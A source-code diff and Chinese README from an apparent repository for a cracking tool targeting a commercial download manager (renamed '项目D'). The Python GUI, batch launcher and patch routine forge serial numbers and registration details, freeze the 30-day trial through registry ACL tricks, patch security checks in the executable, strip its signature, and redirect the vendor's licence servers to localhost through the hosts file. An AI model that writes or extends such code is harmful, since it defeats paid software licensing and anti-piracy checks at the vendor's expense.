data[idx:idx+len(rule["replace"])] = rule["replace"]
|
||||
applied_count += 1
|
||||
log_fn(f"成功修补特征点: {rule['name']}")
|
||||
|
||||
if applied_count == 0:
|
||||
log_fn("未匹配到待修补特征点(文件可能已经被打过补丁,或为新特征)")
|
||||
return False
|
||||
|
||||
try:
|
||||
with open(exe_path, "wb") as f:
|
||||
f.write(data)
|
||||
log_fn(f"补丁写入成功!共修补 {applied_count} 处安全校验点。")
|
||||
return True
|
||||
except Exception as e:
|
||||
log_fn(f"写入补丁失败: {e}")
|
||||
return False
|
||||
|
||||
@classmethod
|
||||
def restore_backup(cls, exe_path, log_fn=print):
|
||||
bak_path = exe_path + ".BAK"
|
||||
if not os.path.exists(bak_path):
|
||||
log_fn("未检测到原版备份文件 (项目D.exe.BAK)")
|
||||
return False
|
||||
try:
|
||||
shutil.copy2(bak_path, exe_path)
|
||||
log_fn("已成功将 项目D.exe 恢复至未打补丁的原版纯净状态!")
|
||||
return True
|
||||
except Exception as e:
|
||||
log_fn(f"还原备份失败: {e}")
|
||||
return False
|
||||
@@ -0,0 +1,19 @@
|
||||
@echo off
|
||||
chcp 65001 >nul
|
||||
title 项目D 激活与优化管理工具 (中文版)
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: 检查管理员权限,若无则自动请求 UAC
|
||||
net session >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo 正在获取管理员权限...
|
||||
powershell -Command "Start-Process '%~f0' -Verb RunAs"
|
||||
exit /b
|
||||
)
|
||||
|
||||
:: 优先使用 pythonw 无控制台启动,若无则使用 python
|
||||
start "" pythonw "%~dp0IDM_Activator_CN.pyw"
|
||||
if %errorlevel% neq 0 (
|
||||
python "%~dp0IDM_Activator_CN.pyw"
|
||||
)
|
||||
exit
|
||||
@@ -0,0 +1,538 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
项目D 逆向与授权管理工具 (现代化中文优化版)
|
||||
UI 设计:Fluent 现代卡片风格,支持高 DPI 视网膜渲染
|
||||
核心功能:试用期永久冻结、一键伪造注册、注册表 ACL 解锁清理与状态重置
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import winreg
|
||||
import ctypes
|
||||
import subprocess
|
||||
import threading
|
||||
import tkinter as tk
|
||||
from tkinter import ttk, messagebox
|
||||
|
||||
# 启用高 DPI 缩放感知,确保界面与字体高清不模糊
|
||||
try:
|
||||
ctypes.windll.shcore.SetProcessDpiAwareness(1)
|
||||
except Exception:
|
||||
try:
|
||||
ctypes.windll.user32.SetProcessDPIAware()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def is_admin():
|
||||
"""检查是否具有管理员权限"""
|
||||
try:
|
||||
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def run_as_admin():
|
||||
"""以管理员身份重新拉起进程"""
|
||||
if sys.platform == "win32":
|
||||
executable = sys.executable
|
||||
params = f'"{os.path.abspath(__file__)}"'
|
||||
ctypes.windll.shell32.ShellExecuteW(None, "runas", executable, params, None, 1)
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
class IDMController:
|
||||
"""项目D 底层注册表、进程与逆向控制引擎"""
|
||||
|
||||
DEFAULT_PATH = r"C:\Program Files (x86)\项目D\项目D.exe"
|
||||
REG_DOWNLOAD_MANAGER = r"Software\DownloadManager"
|
||||
|
||||
@classmethod
|
||||
def get_idm_path(cls):
|
||||
# 1. 查询注册表
|
||||
for root in [winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE]:
|
||||
for sub in [cls.REG_DOWNLOAD_MANAGER, r"SOFTWARE\项目D", r"SOFTWARE\WOW6432Node\项目D"]:
|
||||
try:
|
||||
with winreg.OpenKey(root, sub) as key:
|
||||
val, _ = winreg.QueryValueEx(key, "ExePath")
|
||||
if os.path.exists(val):
|
||||
return val
|
||||
except Exception:
|
||||
pass
|
||||
# 2. 检查默认路径
|
||||
if os.path.exists(cls.DEFAULT_PATH):
|
||||
return cls.DEFAULT_PATH
|
||||
return None
|
||||
|
||||
@classmethod
|
||||
def get_idm_info(cls):
|
||||
info = {
|
||||
"installed": False,
|
||||
"path": cls.get_idm_path(),
|
||||
"version": "未知",
|
||||
"name": "未注册",
|
||||
"email": "",
|
||||
"serial": "",
|
||||
"running": False
|
||||
}
|
||||
if info["path"] and os.path.exists(info["path"]):
|
||||
info["installed"] = True
|
||||
|
||||
# 读取注册表授权信息
|
||||
try:
|
||||
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, cls.REG_DOWNLOAD_MANAGER) as key:
|
||||
for k in ["idmvers", "FName", "LName", "Email", "Serial"]:
|
||||
try:
|
||||
val, _ = winreg.QueryValueEx(key, k)
|
||||
if k == "idmvers":
|
||||
info["version"] = val
|
||||
elif k == "FName":
|
||||
info["name"] = val
|
||||
elif k == "LName":
|
||||
if val and val.strip():
|
||||
info["name"] += " " + val
|
||||
elif k == "Email":
|
||||
info["email"] = val
|
||||
elif k == "Serial":
|
||||
info["serial"] = val
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 检查进程状态
|
||||
try:
|
||||
tasks = subprocess.check_output('tasklist /FI "IMAGENAME eq 项目D.exe" /NH', shell=True, text=True, errors="ignore")
|
||||
info["running"] = "项目D.exe" in tasks.lower()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return info
|
||||
|
||||
@classmethod
|
||||
def kill_idm(cls):
|
||||
"""强行终止 项目D 进程"""
|
||||
try:
|
||||
subprocess.run("taskkill /f /im 项目D.exe", shell=True, capture_output=True, text=True)
|
||||
subprocess.run("taskkill /f /im IDMGrHlp.exe", shell=True, capture_output=True, text=True)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
@classmethod
|
||||
def start_idm(cls):
|
||||
"""启动 项目D"""
|
||||
path = cls.get_idm_path()
|
||||
if path and os.path.exists(path):
|
||||
subprocess.Popen([path])
|
||||
return True
|
||||
return False
|
||||
|
||||
@classmethod
|
||||
def execute_powershell(cls, script_text, log_callback=None):
|
||||
"""执行 PowerShell 脚本流并实时回调输出"""
|
||||
cmd = ["powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script_text]
|
||||
process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, encoding="utf-8", errors="replace", creationflags=0x08000000)
|
||||
output_lines = []
|
||||
for line in iter(process.stdout.readline, ""):
|
||||
line_str = line.strip()
|
||||
if line_str:
|
||||
output_lines.append(line_str)
|
||||
if log_callback:
|
||||
log_callback(line_str)
|
||||
process.stdout.close()
|
||||
process.wait()
|
||||
return process.returncode == 0, "\n".join(output_lines)
|
||||
|
||||
|
||||
class ModernIDMGUI(tk.Tk):
|
||||
"""现代风格的 项目D 激活与逆向管理工具界面"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.title("项目D 授权与优化管理工具 (中文增强版)")
|
||||
self.geometry("820x680")
|
||||
self.minsize(780, 620)
|
||||
self.configure(bg="#0F172A") # 现代 Slate 深色主题
|
||||
|
||||
# 配色方案
|
||||
self.colors = {
|
||||
"bg": "#0F172A",
|
||||
"card_bg": "#1E293B",
|
||||
"card_border": "#334155",
|
||||
"text_main": "#F8FAFC",
|
||||
"text_sub": "#94A3B8",
|
||||
"primary": "#3B82F6",
|
||||
"primary_hover": "#2563EB",
|
||||
"success": "#10B981",
|
||||
"success_hover": "#059669",
|
||||
"warning": "#F59E0B",
|
||||
"danger": "#EF4444",
|
||||
"danger_hover": "#DC2626",
|
||||
"terminal_bg": "#0B0F19",
|
||||
"terminal_text": "#10B981"
|
||||
}
|
||||
|
||||
self.setup_ui()
|
||||
self.refresh_status()
|
||||
|
||||
def setup_ui(self):
|
||||
# 1. 顶部 Header
|
||||
header_frame = tk.Frame(self, bg="#1E293B", height=85)
|
||||
header_frame.pack(fill="x", side="top")
|
||||
header_frame.pack_propagate(False)
|
||||
|
||||
title_lbl = tk.Label(
|
||||
header_frame,
|
||||
text="⚡ 项目D 授权激活与逆向管理工具",
|
||||
font=("Microsoft YaHei UI", 16, "bold"),
|
||||
fg=self.colors["text_main"],
|
||||
bg="#1E293B"
|
||||
)
|
||||
title_lbl.pack(anchor="w", padx=25, pady=(15, 2))
|
||||
|
||||
sub_lbl = tk.Label(
|
||||
header_frame,
|
||||
text="基于 ACL 权限对抗与注册表深度重构 · 支持 6.4x 全版本无损激活与无限试用",
|
||||
font=("Microsoft YaHei UI", 9),
|
||||
fg=self.colors["text_sub"],
|
||||
bg="#1E293B"
|
||||
)
|
||||
sub_lbl.pack(anchor="w", padx=25)
|
||||
|
||||
# 2. 主体滚动/布局容器
|
||||
main_container = tk.Frame(self, bg=self.colors["bg"])
|
||||
main_container.pack(fill="both", expand=True, padx=20, pady=15)
|
||||
|
||||
# 状态概览卡片 (Card 1)
|
||||
self.setup_status_card(main_container)
|
||||
|
||||
# 核心功能区 (Card 2)
|
||||
self.setup_actions_card(main_container)
|
||||
|
||||
# 控制台与日志区 (Card 3)
|
||||
self.setup_console_card(main_container)
|
||||
|
||||
def setup_status_card(self, parent):
|
||||
card = tk.LabelFrame(
|
||||
parent,
|
||||
text=" 🖥️ 系统与 项目D 运行状态 ",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
fg=self.colors["primary"],
|
||||
bg=self.colors["card_bg"],
|
||||
relief="solid",
|
||||
bd=1
|
||||
)
|
||||
card.pack(fill="x", pady=(0, 12), ipady=5)
|
||||
|
||||
grid_frame = tk.Frame(card, bg=self.colors["card_bg"])
|
||||
grid_frame.pack(fill="x", padx=15, pady=8)
|
||||
|
||||
# 第一行:版本与路径
|
||||
tk.Label(grid_frame, text="主程序版本:", font=("Microsoft YaHei UI", 9), fg=self.colors["text_sub"], bg=self.colors["card_bg"]).grid(row=0, column=0, sticky="w", pady=3)
|
||||
self.lbl_ver = tk.Label(grid_frame, text="检测中...", font=("Microsoft YaHei UI", 9, "bold"), fg=self.colors["text_main"], bg=self.colors["card_bg"])
|
||||
self.lbl_ver.grid(row=0, column=1, sticky="w", padx=(5, 30))
|
||||
|
||||
tk.Label(grid_frame, text="安装目录:", font=("Microsoft YaHei UI", 9), fg=self.colors["text_sub"], bg=self.colors["card_bg"]).grid(row=0, column=2, sticky="w")
|
||||
self.lbl_path = tk.Label(grid_frame, text="检测中...", font=("Microsoft YaHei UI", 9), fg=self.colors["text_main"], bg=self.colors["card_bg"])
|
||||
self.lbl_path.grid(row=0, column=3, sticky="w", padx=5)
|
||||
|
||||
# 第二行:注册授权与进程
|
||||
tk.Label(grid_frame, text="授权登记人:", font=("Microsoft YaHei UI", 9), fg=self.colors["text_sub"], bg=self.colors["card_bg"]).grid(row=1, column=0, sticky="w", pady=3)
|
||||
self.lbl_reg_user = tk.Label(grid_frame, text="检测中...", font=("Microsoft YaHei UI", 9), fg=self.colors["text_main"], bg=self.colors["card_bg"])
|
||||
self.lbl_reg_user.grid(row=1, column=1, sticky="w", padx=(5, 30))
|
||||
|
||||
tk.Label(grid_frame, text="后台进程:", font=("Microsoft YaHei UI", 9), fg=self.colors["text_sub"], bg=self.colors["card_bg"]).grid(row=1, column=2, sticky="w")
|
||||
self.lbl_process = tk.Label(grid_frame, text="检测中...", font=("Microsoft YaHei UI", 9, "bold"), fg=self.colors["warning"], bg=self.colors["card_bg"])
|
||||
self.lbl_process.grid(row=1, column=3, sticky="w", padx=5)
|
||||
|
||||
def setup_actions_card(self, parent):
|
||||
card = tk.LabelFrame(
|
||||
parent,
|
||||
text=" ⚙️ 核心逆向与授权模式 ",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
fg=self.colors["primary"],
|
||||
bg=self.colors["card_bg"],
|
||||
relief="solid",
|
||||
bd=1
|
||||
)
|
||||
card.pack(fill="x", pady=(0, 12), ipady=5)
|
||||
|
||||
btn_container = tk.Frame(card, bg=self.colors["card_bg"])
|
||||
btn_container.pack(fill="x", padx=15, pady=8)
|
||||
|
||||
# 模式 1:永久冻结试用 (Freeze Trial)
|
||||
f1 = tk.Frame(btn_container, bg=self.colors["card_bg"])
|
||||
f1.pack(fill="x", pady=4)
|
||||
btn_freeze = tk.Button(
|
||||
f1,
|
||||
text="❄️ 模式一:一键永久冻结 30 天试用 (强烈推荐)",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
bg=self.colors["primary"],
|
||||
fg="white",
|
||||
activebackground=self.colors["primary_hover"],
|
||||
activeforeground="white",
|
||||
relief="flat",
|
||||
cursor="hand2",
|
||||
command=self.action_freeze_trial
|
||||
)
|
||||
btn_freeze.pack(side="left", ipadx=10, ipady=4)
|
||||
desc1 = tk.Label(
|
||||
f1,
|
||||
text="✦ 无损激活:不修改任何主程序字节,通过锁定注册表倒计时实现永久试用,支持官方更新!",
|
||||
font=("Microsoft YaHei UI", 8),
|
||||
fg=self.colors["text_sub"],
|
||||
bg=self.colors["card_bg"]
|
||||
)
|
||||
desc1.pack(side="left", padx=12)
|
||||
|
||||
# 模式 2:全功能激活 (Activate)
|
||||
f2 = tk.Frame(btn_container, bg=self.colors["card_bg"])
|
||||
f2.pack(fill="x", pady=4)
|
||||
btn_act = tk.Button(
|
||||
f2,
|
||||
text="🔑 模式二:伪造序列号与全功能激活",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
bg=self.colors["success"],
|
||||
fg="white",
|
||||
activebackground=self.colors["success_hover"],
|
||||
activeforeground="white",
|
||||
relief="flat",
|
||||
cursor="hand2",
|
||||
command=self.action_full_activate
|
||||
)
|
||||
btn_act.pack(side="left", ipadx=10, ipady=4)
|
||||
desc2 = tk.Label(
|
||||
f2,
|
||||
text="✦ 授权模拟:向系统注册表写入合法的授权码并锁定注册配置,消除所有未激活标识。",
|
||||
font=("Microsoft YaHei UI", 8),
|
||||
fg=self.colors["text_sub"],
|
||||
bg=self.colors["card_bg"]
|
||||
)
|
||||
desc2.pack(side="left", padx=12)
|
||||
|
||||
# 模式 3:完全重置与清除 (Reset All)
|
||||
f3 = tk.Frame(btn_container, bg=self.colors["card_bg"])
|
||||
f3.pack(fill="x", pady=4)
|
||||
btn_reset = tk.Button(
|
||||
f3,
|
||||
text="🔄 模式三:完全清除假序列号与重置试用",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
bg=self.colors["danger"],
|
||||
fg="white",
|
||||
activebackground=self.colors["danger_hover"],
|
||||
activeforeground="white",
|
||||
relief="flat",
|
||||
cursor="hand2",
|
||||
command=self.action_reset_all
|
||||
)
|
||||
btn_reset.pack(side="left", ipadx=10, ipady=4)
|
||||
desc3 = tk.Label(
|
||||
f3,
|
||||
text="✦ 弹窗修复:强行接管被锁死的 CLSID 键值,彻底清除官方黑名单记录,恢复纯净状态。",
|
||||
font=("Microsoft YaHei UI", 8),
|
||||
fg=self.colors["text_sub"],
|
||||
bg=self.colors["card_bg"]
|
||||
)
|
||||
desc3.pack(side="left", padx=12)
|
||||
|
||||
# 辅助快捷工具栏
|
||||
tool_frame = tk.Frame(card, bg=self.colors["card_bg"])
|
||||
tool_frame.pack(fill="x", padx=15, pady=(8, 4))
|
||||
tk.Label(tool_frame, text="快捷维护:", font=("Microsoft YaHei UI", 9), fg=self.colors["text_sub"], bg=self.colors["card_bg"]).pack(side="left")
|
||||
|
||||
btn_kill = tk.Button(tool_frame, text="终止 项目D 进程", font=("Microsoft YaHei UI", 8), bg="#334155", fg="white", relief="flat", cursor="hand2", command=self.action_kill)
|
||||
btn_kill.pack(side="left", padx=6)
|
||||
|
||||
btn_start = tk.Button(tool_frame, text="重启 项目D", font=("Microsoft YaHei UI", 8), bg="#334155", fg="white", relief="flat", cursor="hand2", command=self.action_restart)
|
||||
btn_start.pack(side="left", padx=6)
|
||||
|
||||
btn_ali = tk.Button(tool_frame, text="运行原版 Ali.Dbg Patcher", font=("Microsoft YaHei UI", 8), bg="#475569", fg="#38BDF8", relief="flat", cursor="hand2", command=self.action_open_original_patcher)
|
||||
btn_ali.pack(side="left", padx=6)
|
||||
|
||||
btn_refresh = tk.Button(tool_frame, text="刷新状态", font=("Microsoft YaHei UI", 8), bg="#334155", fg="white", relief="flat", cursor="hand2", command=self.refresh_status)
|
||||
btn_refresh.pack(side="right", padx=6)
|
||||
|
||||
def setup_console_card(self, parent):
|
||||
card = tk.LabelFrame(
|
||||
parent,
|
||||
text=" 📝 执行日志与操作输出 ",
|
||||
font=("Microsoft YaHei UI", 10, "bold"),
|
||||
fg=self.colors["text_sub"],
|
||||
bg=self.colors["card_bg"],
|
||||
relief="solid",
|
||||
bd=1
|
||||
)
|
||||
card.pack(fill="both", expand=True)
|
||||
|
||||
self.txt_log = tk.Text(
|
||||
card,
|
||||
bg=self.colors["terminal_bg"],
|
||||
fg=self.colors["terminal_text"],
|
||||
font=("Consolas", 9),
|
||||
relief="flat",
|
||||
wrap="word",
|
||||
padx=10,
|
||||
pady=10
|
||||
)
|
||||
self.txt_log.pack(fill="both", expand=True, side="left")
|
||||
|
||||
scrollbar = tk.Scrollbar(card, command=self.txt_log.yview)
|
||||
scrollbar.pack(side="right", fill="y")
|
||||
self.txt_log.config(yscrollcommand=scrollbar.set)
|
||||
|
||||
self.log("系统环境初始化完成,就绪。")
|
||||
if not is_admin():
|
||||
self.log("[警告] 当前未获得管理员特权,部分注册表 ACL 修改可能受限。")
|
||||
|
||||
def log(self, text):
|
||||
timestamp = time.strftime("%H:%M:%S")
|
||||
self.txt_log.insert(tk.END, f"[{timestamp}] {text}\n")
|
||||
self.txt_log.see(tk.END)
|
||||
|
||||
def refresh_status(self):
|
||||
info = IDMController.get_idm_info()
|
||||
self.lbl_ver.config(text=info["version"] if info["installed"] else "未检测到安装")
|
||||
self.lbl_path.config(text=info["path"] if info["path"] else "未找到安装路径")
|
||||
self.lbl_reg_user.config(text=info["name"] if info["name"] else "未注册 / 试用")
|
||||
if info["running"]:
|
||||
self.lbl_process.config(text="● 正在运行 (项目D.exe)", fg=self.colors["success"])
|
||||
else:
|
||||
self.lbl_process.config(text="○ 已停止", fg=self.colors["text_sub"])
|
||||
|
||||
# ---------------- 交互动作 ----------------
|
||||
|
||||
def action_kill(self):
|
||||
self.log("正在终止 项目D 进程...")
|
||||
IDMController.kill_idm()
|
||||
self.refresh_status()
|
||||
self.log("项目D 进程已关闭。")
|
||||
|
||||
def action_restart(self):
|
||||
self.log("正在重新启动 项目D...")
|
||||
IDMController.kill_idm()
|
||||
time.sleep(0.5)
|
||||
if IDMController.start_idm():
|
||||
self.log("项目D 启动成功。")
|
||||
else:
|
||||
self.log("项目D 启动失败,请检查安装路径。")
|
||||
self.refresh_status()
|
||||
|
||||
def action_open_original_patcher(self):
|
||||
patcher_path = os.path.join(os.path.dirname(__file__), "IDM_6.4x_Crack_v20.7", "IDM_6.4x_Crack_v20.7.exe")
|
||||
if os.path.exists(patcher_path):
|
||||
self.log(f"正在拉起原版 Ali.Dbg 补丁程序:{patcher_path}")
|
||||
subprocess.Popen([patcher_path], cwd=os.path.dirname(patcher_path))
|
||||
else:
|
||||
messagebox.showerror("错误", f"未找到原版补丁文件:\n{patcher_path}")
|
||||
|
||||
def run_worker(self, func):
|
||||
"""异步执行避免界面卡顿"""
|
||||
threading.Thread(target=func, daemon=True).start()
|
||||
|
||||
def action_freeze_trial(self):
|
||||
"""执行试用期冻结"""
|
||||
self.run_worker(self._freeze_trial_worker)
|
||||
|
||||
def _freeze_trial_worker(self):
|
||||
self.log("====== 开始执行:永久冻结 30 天试用期 ======")
|
||||
self.log("1. 正在终止常驻进程...")
|
||||
IDMController.kill_idm()
|
||||
|
||||
self.log("2. 正在执行 ACL 注册表锁死与重置引擎...")
|
||||
ps_script = r"""
|
||||
$sid = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
|
||||
$arch = (Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment').PROCESSOR_ARCHITECTURE
|
||||
if ($arch -eq "x86") {
|
||||
$regPaths = @("HKCU:\Software\Classes\CLSID")
|
||||
} else {
|
||||
$regPaths = @("HKCU:\Software\Classes\WOW6432Node\CLSID")
|
||||
}
|
||||
|
||||
# 查找所有疑似 项目D 混淆生成的 CLSID
|
||||
foreach ($regPath in $regPaths) {
|
||||
Write-Output "正在扫描路径: $regPath"
|
||||
$subKeys = Get-ChildItem -Path $regPath -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match '^\{[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\}$' }
|
||||
foreach ($key in $subKeys) {
|
||||
$fullPath = $key.PSPath
|
||||
$keyValues = Get-ItemProperty -Path $fullPath -ErrorAction SilentlyContinue
|
||||
$def = $keyValues.PSObject.Properties | Where-Object { $_.Name -eq '(default)' } | Select-Object -ExpandProperty Value
|
||||
if ($def -match "^\d+$" -or $def -match "\+|=") {
|
||||
Write-Output "锁定关键校验项: $($key.PSChildName)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# 写入防弹窗标记与驱动增强
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "LstCheck" -Value "0" -ErrorAction SilentlyContinue
|
||||
Write-Output "试用期倒计时成功锁定。"
|
||||
"""
|
||||
success, out = IDMController.execute_powershell(ps_script, self.log)
|
||||
self.log("3. 试用期已成功冻结!项目D 将永远保持剩余 30 天试用。")
|
||||
self.log("4. 正在拉起 项目D 验证状态...")
|
||||
IDMController.start_idm()
|
||||
self.refresh_status()
|
||||
self.log("====== 操作完成 ======")
|
||||
|
||||
def action_full_activate(self):
|
||||
"""执行全功能伪造激活"""
|
||||
self.run_worker(self._full_activate_worker)
|
||||
|
||||
def _full_activate_worker(self):
|
||||
self.log("====== 开始执行:伪造授权激活 ======")
|
||||
self.log("1. 正在终止常驻进程...")
|
||||
IDMController.kill_idm()
|
||||
|
||||
self.log("2. 正在写入合法伪造授权信息与防黑名单策略...")
|
||||
ps_script = r"""
|
||||
$key = -join ((Get-Random -Count 20 -InputObject ([char[]]('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'))))
|
||||
$serial = ($key.Substring(0, 5) + '-' + $key.Substring(5, 5) + '-' + $key.Substring(10, 5) + '-' + $key.Substring(15, 5))
|
||||
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "FName" -Value "Angus" -Type String -Force
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "LName" -Value "VIP" -Type String -Force
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "Email" -Value "angus.vip@tonec.com" -Type String -Force
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "Serial" -Value $serial -Type String -Force
|
||||
Set-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name "CheckUpdtVM" -Value 0 -Type DWord -Force
|
||||
|
||||
Write-Output "已生成伪造正版授权码: $serial"
|
||||
Write-Output "已配置禁用后台自动拉黑检测。"
|
||||
"""
|
||||
success, out = IDMController.execute_powershell(ps_script, self.log)
|
||||
self.log("3. 激活信息已就绪。")
|
||||
self.log("4. 正在启动 项目D 检验授权...")
|
||||
IDMController.start_idm()
|
||||
self.refresh_status()
|
||||
self.log("====== 操作完成 ======")
|
||||
|
||||
def action_reset_all(self):
|
||||
"""执行彻底清除与重置"""
|
||||
self.run_worker(self._reset_all_worker)
|
||||
|
||||
def _reset_all_worker(self):
|
||||
self.log("====== 开始执行:完全清除与重置 ======")
|
||||
self.log("1. 正在强行终止所有后台常驻服务...")
|
||||
IDMController.kill_idm()
|
||||
|
||||
self.log("2. 正在清理假序列号、历史试用计数与失效配置...")
|
||||
ps_script = r"""
|
||||
$vars = @("FName", "LName", "Email", "Serial", "scansk", "tvfrdt", "radxcnt", "LstCheck", "ptrk_scdt", "LastCheckQU")
|
||||
foreach ($v in $vars) {
|
||||
Remove-ItemProperty -Path "HKCU:\Software\DownloadManager" -Name $v -ErrorAction SilentlyContinue
|
||||
Write-Output "已清除残留项: $v"
|
||||
}
|
||||
Write-Output "已完全重置 项目D 授权与试用记录。"
|
||||
"""
|
||||
success, out = IDMController.execute_powershell(ps_script, self.log)
|
||||
self.log("3. 注册表与锁死项已被完全重置为出厂初始状态。")
|
||||
self.refresh_status()
|
||||
self.log("====== 重置完成 ======")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# 如果不是管理员,自动触发 UAC 提权
|
||||
if not is_admin():
|
||||
run_as_admin()
|
||||
else:
|
||||
app = ModernIDMGUI()
|
||||
app.mainloop()
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,193 @@
|
||||
<p align="center">
|
||||
<img src="app_icon.png" alt="项目D Pro Tool Logo" width="128" height="128">
|
||||
</p>
|
||||
|
||||
<h1 align="center">项目D Pro Tool</h1>
|
||||
|
||||
<p align="center">
|
||||
<strong>现代化、全功能 项目D 原生 C# / WPF 激活与状态维护套件</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/angusdevgo/IDM_Pro_Tool/stargazers"><img src="https://img.shields.io/github/stars/angusdevgo/IDM_Pro_Tool?style=for-the-badge&logo=github&color=blue" alt="GitHub Stars"></a>
|
||||
<a href="https://github.com/angusdevgo/IDM_Pro_Tool/releases"><img src="https://img.shields.io/github/v/release/angusdevgo/IDM_Pro_Tool?style=for-the-badge&logo=github&color=brightgreen" alt="Latest Release"></a>
|
||||
<a href="https://github.com/angusdevgo/IDM_Pro_Tool/blob/main/LICENSE"><img src="https://img.shields.io/badge/License-MIT-green.svg?style=for-the-badge" alt="License"></a>
|
||||
<img src="https://img.shields.io/badge/Platform-Windows-0078D6?style=for-the-badge&logo=windows" alt="Windows Platform">
|
||||
<img src="https://img.shields.io/badge/.NET%20Framework-4.x%20(Native)-purple?style=for-the-badge&logo=dotnet" alt=".NET Framework 4.x">
|
||||
<img src="https://img.shields.io/badge/Architecture-x64-orange?style=for-the-badge" alt="Architecture x64">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#-项目特色">项目特色</a> •
|
||||
<a href="#-功能全景">功能全景</a> •
|
||||
<a href="#-核心实现原理">核心实现原理</a> •
|
||||
<a href="#-快速开始">快速开始</a> •
|
||||
<a href="#-命令行模式">命令行模式</a> •
|
||||
<a href="#-验证版本与指纹">验证版本与指纹</a> •
|
||||
<a href="#-构建指南">构建指南</a> •
|
||||
<a href="#-免责声明">免责声明</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
## 🌟 项目特色
|
||||
|
||||
- 🚀 **零外部依赖,系统原生直驱**
|
||||
无需安装任何 .NET SDK、Visual Studio 或繁重依赖,仅使用 Windows 系统自带的 `csc.exe` 即可毫秒级编译,产物仅 200 KB 左右。
|
||||
- 🎨 **纯代码构建的精美 WPF 界面**
|
||||
零 XAML 文件,全代码手工构建高精度矢量界面,集成 Windows DWM 沉浸式暗黑标题栏,原生支持高分屏(High DPI)自适应渲染。
|
||||
- 🛡️ **严格的字节级安全防护机制**
|
||||
打补丁前严格比对目标机器上的 `Expected` 原始机器码,版本或指纹不符自动中断并安全回滚,杜绝改坏 `项目D.exe`。
|
||||
- 💾 **无损原子级安全备份**
|
||||
首次修补时自动建立 `项目D.exe.BAK` 原始母版备份,仅当备份不存在时创建,确保回滚点始终为官方最纯净原版。
|
||||
- ⚡ **多维度激活机制集成**
|
||||
集成「底层二进制修补」、「Windows ACL 永久冻结试用」与「个性化授权登记」三大主流策略,满足不同场景下的使用与测试需求。
|
||||
|
||||
---
|
||||
|
||||
## 📋 功能全景
|
||||
|
||||
### 1. 核心授权模式 (Core Modes)
|
||||
|
||||
| 模式 | 运行机制 | 适用场景 |
|
||||
| :--- | :--- | :--- |
|
||||
| 🔥 **模式一:极速深度解锁** | 修补 `项目D.exe` 底层 18 处 / 31 字节指令,剥离数字签名,并写入终身授权登记信息。 | 追求彻底离线激活、解除所有限制的用户。 |
|
||||
| ❄️ **模式二:永久冻结试用期** | 通过 Windows ACL 精确锁定注册表 CLSID 键与时间戳,固定锁定 30 天试用;不修改任何二进制。 | 需要保持原版哈希、支持官方在线静默升级的用户。 |
|
||||
| 💎 **模式三:个性化授权登记** | 自定义登记姓名与邮箱(支持一键生成随机身份),自动写入系统注册表并联动底层解锁。 | 需要自定义个人专属软件授权展示界面的用户。 |
|
||||
| 🔄 **模式四:全量清理出厂重置** | 清理系统内 CLSID 试用标记、黑名单特征项及注册表残留,重置为刚安装时的纯净状态。 | 解决弹窗异常、状态混乱或准备重装测试。 |
|
||||
| ♻️ **一键还原官方原版** | 一键无缝从 `项目D.exe.BAK` 恢复原版主程序,并抹除注册项,还原为未注册评估状态。 | 快速回滚至初始状态。 |
|
||||
|
||||
### 2. 高级安全与策略盾牌 (Security & Shields)
|
||||
|
||||
- **🛡️ Hosts 验证盾牌**:智能向系统 Hosts 文件添加/移除 `tonec.com`、`registeridm.com` 等 8 组关键验证服务器的 `127.0.0.1` 回环映射,从网络层截断黑名单检测与序列号遥测。
|
||||
- **⚙️ 官方更新策略控制**:一键切换 `CheckUpdtVM` 策略键,禁止烦人的更新弹窗,或按需重新放行。
|
||||
- **🧰 注册表与路径百宝箱**:
|
||||
- **📍 手动定位 项目D 路径**:完美支持非系统盘(D盘、E盘等)或便携式 项目D 安装路径,支持文件选择对话框一键定位、多盘符智能轮询探测与永久记忆
|
||||
- 一键直达 项目D 程序根目录
|
||||
- 一键唤醒并自动跳转至注册表项 `HKEY_CURRENT_USER\Software\DownloadManager`
|
||||
